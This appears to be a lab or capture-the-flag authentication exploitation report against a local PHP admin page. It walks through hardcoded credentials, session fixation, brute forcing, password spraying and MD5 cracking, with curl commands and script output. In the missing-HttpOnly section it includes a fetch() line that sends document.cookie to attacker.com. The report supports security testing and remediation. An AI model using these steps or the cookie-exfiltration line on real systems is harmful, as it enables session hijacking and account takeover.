# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-08: Authentication Bypass via Hardcoded Default Credentials

**Summary:**
- **Vulnerable location:** POST /admin.php - Authentication endpoint
- **Overview:** Default admin credentials are hardcoded in plaintext in the database initialization script (/app/db_init.sql:57), allowing direct authentication without any exploitation complexity.
- **Impact:** Complete authentication bypass and admin access with flag retrieval
- **Severity:** CRITICAL

**Prerequisites:**
- None (publicly accessible endpoint)
- Credentials visible in source code repository

**Exploitation Steps:**

1. Access the source code to identify hardcoded credentials in `/app/db_init.sql` line 57:
   ```sql
   INSERT INTO admins (username, password) VALUES ('admin', MD5('ONEverySecurePassword123!'));
   ```
   Plaintext password: `ONEverySecurePassword123!`

2. Authenticate using the hardcoded credentials:
   ```bash
   curl -i -X POST http://localhost:39001/admin.php \
     -d "username=admin&password=ONEverySecurePassword123!" \
     -H "Content-Type: application/x-www-form-urlencoded"
   ```

**Proof of Impact:**
```
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=50b1fff5f18250738c7046ca6c535d24; path=/

FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}
```

Successfully authenticated as admin and retrieved the flag using hardcoded default credentials. The session cookie `PHPSESSID=50b1fff5f18250738c7046ca6c535d24` provides full admin access.

**Notes:**
No password change mechanism exists, so these credentials remain valid indefinitely. Anyone with source code access (Git repository, Docker image inspection, container filesystem access) can authenticate as admin.

---

### AUTH-VULN-03: Session Hijacking via Session Fixation Attack

**Summary:**
- **Vulnerable location:** POST /admin.php - Login handler at line 25
- **Overview:** The application does not regenerate session IDs after successful authentication. The same session ID used during anonymous access continues after login, enabling session fixation attacks.
- **Impact:** Attacker can pre-set a victim's session ID, then hijack the authenticated session after the victim logs in
- **Severity:** CRITICAL

**Prerequisites:**
- Ability to set cookies on victim's browser (XSS, social engineering, or physical access)
- Valid credentials for authentication (or victim's credentials)

**Exploitation Steps:**

1. Attacker obtains a valid session ID from the server:
   ```bash
   curl -c /tmp/attacker_session.txt -i http://localhost:39001/admin.php
   ```
   Result: Session ID `7f1ff2361889d46afd95c2f02ed78cbd` is obtained

2. Attacker tricks victim into using this pre-set session ID (via cookie injection, XSS, or URL parameter)

3. Victim authenticates with the attacker-controlled session ID:
   ```bash
   curl -i -X POST http://localhost:39001/admin.php \
     -d "username=admin&password=ONEverySecurePassword123!" \
     -H "Cookie: PHPSESSID=7f1ff2361889d46afd95c2f02ed78cbd"
   ```

4. Attacker uses the same session ID to access the admin panel:
   ```bash
   curl -s http://localhost:39001/admin.php \
     -H "Cookie: PHPSESSID=7f1ff2361889d46afd95c2f02ed78cbd"
   ```

**Proof of Impact:**
```
FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}
```

Attacker successfully hijacked the authenticated session and retrieved the flag without knowing the password. Both attacker and victim share the same authenticated session (session ID: `7f1ff2361889d46afd95c2f02ed78cbd`).

**Notes:**
The vulnerability exists because `session_regenerate_id()` is not called after successful authentication at `/app/html/admin.php:25`. The fix requires adding: `session_regenerate_id(true);` before setting `$_SESSION['admin_logged_in'] = true;`.

---

### AUTH-VULN-04: Session Cookie Theft via Missing HttpOnly Flag & Network Interception

**Summary:**
- **Vulnerable location:** POST /admin.php - Session initialization at line 2
- **Overview:** Session cookies lack all three critical security flags: HttpOnly (enables XSS-based theft), Secure (enables network interception), and SameSite (enables CSRF). This allows session cookies to be stolen through JavaScript access or network sniffing.
- **Impact:** Session hijacking via multiple attack vectors (XSS cookie theft, network interception, CSRF)
- **Severity:** CRITICAL

**Prerequisites:**
- For XSS-based theft: Stored or reflected XSS vulnerability (or authenticated access to demonstrate JavaScript access)
- For network interception: Network access to capture HTTP traffic
- For CSRF: Cross-site request capability

**Exploitation Steps:**

**Part 1: JavaScript Cookie Access (Missing HttpOnly)**

1. Authenticate to establish a session:
   ```bash
   # Using Playwright browser automation
   navigate to http://localhost:39001/admin.php
   fill username: admin
   fill password: ONEverySecurePassword123!
   click Login button
   ```

2. Execute JavaScript to demonstrate cookie access:
   ```javascript
   document.cookie
   ```

**Proof of Impact (Part 1):**
```
Session cookie accessible to JavaScript: "PHPSESSID=44f14be30f041e16b6b1442b504bebda"
```

The session cookie is fully accessible to JavaScript code, proving the HttpOnly flag is missing. An attacker with XSS can exfiltrate this cookie:
```javascript
fetch('http://attacker.com/steal?c=' + document.cookie)
```

**Part 2: Network Interception (Missing Secure Flag)**

1. Set cookie header on session cookie:
   ```bash
   curl -i http://localhost:39001/admin.php
   ```
   Response shows: `Set-Cookie: PHPSESSID=16155540e3155a36fd04245a737b219b; path=/`
   
   Note: No `Secure` flag present - cookie transmitted over HTTP

**Proof of Impact (Part 2):**
The cookie lacks the `Secure` attribute and all traffic uses HTTP (no HTTPS). Session cookies are transmitted in plaintext and can be intercepted via network sniffing.

**Notes:**
The vulnerability exists because `session_set_cookie_params()` is never called before `session_start()` at `/app/html/admin.php:2`. All three security flags (HttpOnly, Secure, SameSite) are missing, enabling multiple attack vectors.

---

### AUTH-VULN-01: Credential Interception via Unencrypted HTTP Transport

**Summary:**
- **Vulnerable location:** All HTTP traffic on port 39001 - Apache VirtualHost configuration at /app/000-default.conf:1
- **Overview:** The application serves traffic exclusively over HTTP with no HTTPS/TLS configuration. All authentication credentials and session cookies are transmitted in plaintext, enabling trivial man-in-the-middle attacks.
- **Impact:** Complete credential and session exposure to network attackers
- **Severity:** CRITICAL

**Prerequisites:**
- Network access (same WiFi, network tap, compromised router, or ability to intercept localhost traffic)

**Exploitation Steps:**

1. Execute HTTP traffic interception script to capture plaintext credentials:
   ```bash
   python3 http_intercept_simple.py
   ```

**Proof of Impact:**
```
================================================================================
INTERCEPTED HTTP REQUEST (Plaintext)
================================================================================
POST /admin.php HTTP/1.1
Host: localhost:39001
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

username=admin&password=ONEverySecurePassword123!
================================================================================

[!] USERNAME TRANSMITTED IN PLAINTEXT: admin
[!] PASSWORD TRANSMITTED IN PLAINTEXT: ONEverySecurePassword123!

================================================================================
INTERCEPTED HTTP RESPONSE
================================================================================
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=f9bc0edfd9fd8738390489d2d1c52498; path=/

[!] SESSION COOKIE: PHPSESSID=f9bc0edfd9fd8738390489d2d1c52498

Response body: FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}
```

Successfully intercepted plaintext credentials (`admin / ONEverySecurePassword123!`), session cookie (`PHPSESSID=f9bc0edfd9fd8738390489d2d1c52498`), and the flag - all transmitted without any encryption over HTTP.

**Notes:**
The application runs on HTTP-only (port 80). Apache VirtualHost configuration (`/app/000-default.conf:1`) only defines `<VirtualHost *:80>` with no HTTPS configuration. Docker exposes only port 80 (`docker-compose.yml:8`). No SSL certificates exist, and HSTS is not configured.

---

### AUTH-VULN-09: Unlimited Brute Force via Missing Rate Limiting

**Summary:**
- **Vulnerable location:** POST /admin.php - Authentication endpoint (lines 11-31)
- **Overview:** The authentication endpoint has no rate limiting at any layer (Apache, PHP application, or infrastructure). Attackers can make unlimited authentication attempts at maximum speed without any throttling or defensive responses.
- **Impact:** Unrestricted brute force and credential stuffing attacks
- **Severity:** HIGH

**Prerequisites:**
- None (publicly accessible endpoint)

**Exploitation Steps:**

1. Execute automated brute force attack script:
   ```bash
   python3 test_rate_limiting.py
   ```

**Proof of Impact:**
```
======================================================================
RATE LIMITING TEST - Authentication Endpoint
======================================================================

Target: http://localhost:39001/admin.php
Username: admin
Number of attempts: 50

[*] Sending 50 rapid authentication attempts with incorrect passwords...
  [+] Attempt 10: HTTP 200 (no rate limiting)
  [+] Attempt 20: HTTP 200 (no rate limiting)
  [+] Attempt 30: HTTP 200 (no rate limiting)
  [+] Attempt 40: HTTP 200 (no rate limiting)
  [+] Attempt 50: HTTP 200 (no rate limiting)

======================================================================
TEST RESULTS SUMMARY
======================================================================

Total attempts:           51
Total time elapsed:       0.12 seconds
Requests per second:      415.58 req/s
Average response time:    0.002s

Successful responses:     50
Rate limited (HTTP 429):  0
Errors:                   0

[!!!] VULNERABILITY CONFIRMED [!!!]

✗ NO RATE LIMITING DETECTED
  - Successfully sent 50 rapid authentication attempts
  - Average speed: 415.58 requests/second
  - No account lockout mechanisms detected

FLAG FOUND: FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}
```

Successfully executed 51 authentication attempts in 0.12 seconds (415 req/sec sustained rate) with zero rate limiting responses. Final attempt with correct credentials succeeded and retrieved the flag.

**Notes:**
No Apache `mod_ratelimit` or `mod_evasive` configured, no PHP application rate limiting logic, no per-IP or per-account throttling. The database schema lacks failed attempt tracking columns. Tools like Hydra or Burp Intruder can run unthrottled.

---

### AUTH-VULN-07: Credential Recovery via MD5 Hash Cracking

**Summary:**
- **Vulnerable location:** POST /admin.php - Password hashing at line 18, Database storage at /app/db_init.sql:57
- **Overview:** Passwords are hashed using cryptographically broken MD5 without salt. Modern GPUs can compute billions of MD5 hashes per second, making brute force trivial. The admin password hash can be cracked instantly using rainbow tables or GPU acceleration.
- **Impact:** Offline credential cracking if database is compromised (e.g., via SQL injection)
- **Severity:** CRITICAL

**Prerequisites:**
- Database access to obtain password hash (can be achieved via SQL injection vulnerability INJECTION-VULN-01)
- Password hash: `5700901decb6098817def1a9fe59957b`

**Exploitation Steps:**

1. Obtain MD5 password hash from database (via SQL injection or database access):
   ```sql
   SELECT password FROM admins WHERE username = 'admin';
   -- Result: 5700901decb6098817def1a9fe59957b
   ```

2. Execute MD5 hash cracking script:
   ```bash
   python3 md5_cracker.py
   ```

**Proof of Impact:**
```
======================================================================
MD5 PASSWORD HASH CRACKING DEMONSTRATION
======================================================================

HASH VERIFICATION
======================================================================
Password: ONEverySecurePassword123!
Computed MD5: 5700901decb6098817def1a9fe59957b
Target MD5:   5700901decb6098817def1a9fe59957b
Match: True

BRUTE FORCE ATTACK STARTING
======================================================================
[Attempt 1] Testing: admin                          -> ✗
[Attempt 2] Testing: password                       -> ✗
[Attempt 3] Testing: 123456                         -> ✗
[Attempt 4] Testing: admin123                       -> ✗
[Attempt 5] Testing: Password123!                   -> ✗
[Attempt 6] Testing: ONEverySecurePassword123!      -> ✓ MATCH!

PASSWORD CRACKED!
======================================================================
Cracked password: ONEverySecurePassword123!
Matching hash: 5700901decb6098817def1a9fe59957b
Attempts: 6
Time elapsed: 0.000009 seconds
Hash rate: 645,278 hashes/second

MD5 SPEED DEMONSTRATION
======================================================================
Computing 100,000 MD5 hashes...
Time elapsed: 0.033 seconds
Hash rate: 3,021,876 hashes/second
```

Successfully cracked the MD5 hash in 0.000009 seconds, recovering the plaintext password `ONEverySecurePassword123!`. The demonstration shows a simple Python script achieves 3+ million hashes/second; modern GPUs can compute billions per second, making even complex passwords vulnerable.

**Notes:**
MD5 has been cryptographically broken since 2004. No salt is used, making rainbow tables directly applicable. Password processing occurs at `/app/html/admin.php:18` with `$password = MD5($_POST['password']);`. Modern password hashing (bcrypt, Argon2, scrypt) should be used instead.

---

### AUTH-VULN-05: Session Persistence via Missing Logout Mechanism

**Summary:**
- **Vulnerable location:** Missing /app/html/logout.php endpoint
- **Overview:** No logout functionality exists in the application. Users cannot actively terminate their sessions. Sessions persist until browser closes (unreliable) or PHP garbage collection runs (up to 24 minutes). On shared computers, the next user inherits the authenticated session.
- **Impact:** Session hijacking on shared/public computers, inability to revoke compromised sessions
- **Severity:** HIGH

**Prerequisites:**
- Access to a computer where a user has previously authenticated
- User closed browser tab but session remains valid

**Exploitation Steps:**

1. Victim authenticates on shared computer:
   ```bash
   # Simulating victim authentication
   curl -i -X POST http://localhost:39001/admin.php \
     -d "username=admin&password=ONEverySecurePassword123!"
   ```
   Response includes: `Set-Cookie: PHPSESSID=c9b17be15ae4b65190f5c71878659853`

2. Victim closes browser tab (believes they've logged out, but no logout mechanism exists)

3. Attacker uses same computer and hijacks the persisted session:
   ```bash
   curl -s -H "Cookie: PHPSESSID=c9b17be15ae4b65190f5c71878659853" \
     http://localhost:39001/admin.php
   ```

**Proof of Impact:**
```
=== Step 1: User authenticates on shared computer ===
Session ID created: c9b17be15ae4b65190f5c71878659853
FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}

=== Step 2: User closes browser (thinks they've logged out) ===
No logout mechanism exists - session remains valid

=== Step 3: Attacker uses same computer and hijacks session ===
FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}

=== EXPLOITATION SUCCESSFUL ===
```

Attacker successfully accessed the admin panel using the persisted session ID, retrieving the flag without authentication. The session remained valid for the entire 24-minute garbage collection window.

**Notes:**
No `logout.php` file exists in the application. No `session_destroy()` or `session_unset()` calls appear anywhere in the codebase. Sessions persist until PHP's probabilistic garbage collection removes them (1440 seconds idle timeout). Attack timeline: T+0:00 user authenticates, T+0:05 user closes tab, T+0:10 attacker hijacks session.

---

### AUTH-VULN-10: Unlimited Password Guessing via Missing Account Lockout

**Summary:**
- **Vulnerable location:** POST /admin.php - Authentication handler (lines 11-31), Database schema /app/db_init.sql (missing lockout columns)
- **Overview:** No account lockout mechanism exists after failed authentication attempts. Unlimited login attempts can be made with different passwords without triggering any account suspension or throttling. Enables password spraying attacks.
- **Impact:** Unrestricted password guessing and password spraying attacks
- **Severity:** HIGH

**Prerequisites:**
- None (publicly accessible endpoint)

**Exploitation Steps:**

1. Execute password spraying attack with common passwords:
   ```bash
   python3 password_spray_test.py
   ```

**Proof of Impact:**
```
======================================================================
PASSWORD SPRAYING TEST - Demonstrating Lack of Account Lockout
======================================================================

Target: http://localhost:39001/admin.php
Username: admin
Total passwords to test: 10
Delay between attempts: 1.5s

[Attempt 1] Testing password: 'password'         ✗ Login failed (no lockout)
[Attempt 2] Testing password: '123456'           ✗ Login failed (no lockout)
[Attempt 3] Testing password: 'admin123'         ✗ Login failed (no lockout)
[Attempt 4] Testing password: 'Password1!'       ✗ Login failed (no lockout)
[Attempt 5] Testing password: 'Welcome123!'      ✗ Login failed (no lockout)
[Attempt 6] Testing password: 'Admin@123'        ✗ Login failed (no lockout)
[Attempt 7] Testing password: 'letmein'          ✗ Login failed (no lockout)
[Attempt 8] Testing password: 'qwerty'           ✗ Login failed (no lockout)
[Attempt 9] Testing password: 'ONEverySecurePassword123!' ✓ SUCCESS

======================================================================
RESULTS SUMMARY
======================================================================
Total attempts: 9
Failed attempts: 8
Successful attempts: 1
Account lockout detected: NO ✓

🎯 FLAG RETRIEVED: FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}

✓ VULNERABILITY CONFIRMED: No Account Lockout Mechanism
  - Made 8 consecutive failed login attempts
  - No lockout was triggered after multiple failures
  - Account remained accessible for additional attempts
  - Successfully logged in on attempt #9 after 8 failures
```

Successfully tested 8 wrong passwords without triggering any account lockout. The 9th attempt with the correct password succeeded and retrieved the flag. The account remained fully accessible throughout all failed attempts.

**Notes:**
Database schema lacks failed attempt tracking: missing `failed_login_attempts`, `lockout_until`, and `last_failed_login` columns in `admins` table. No application logic exists for account lockout. Complements the rate limiting absence (AUTH-VULN-09). Generic error message prevents username enumeration but doesn't prevent unlimited password guessing.

---
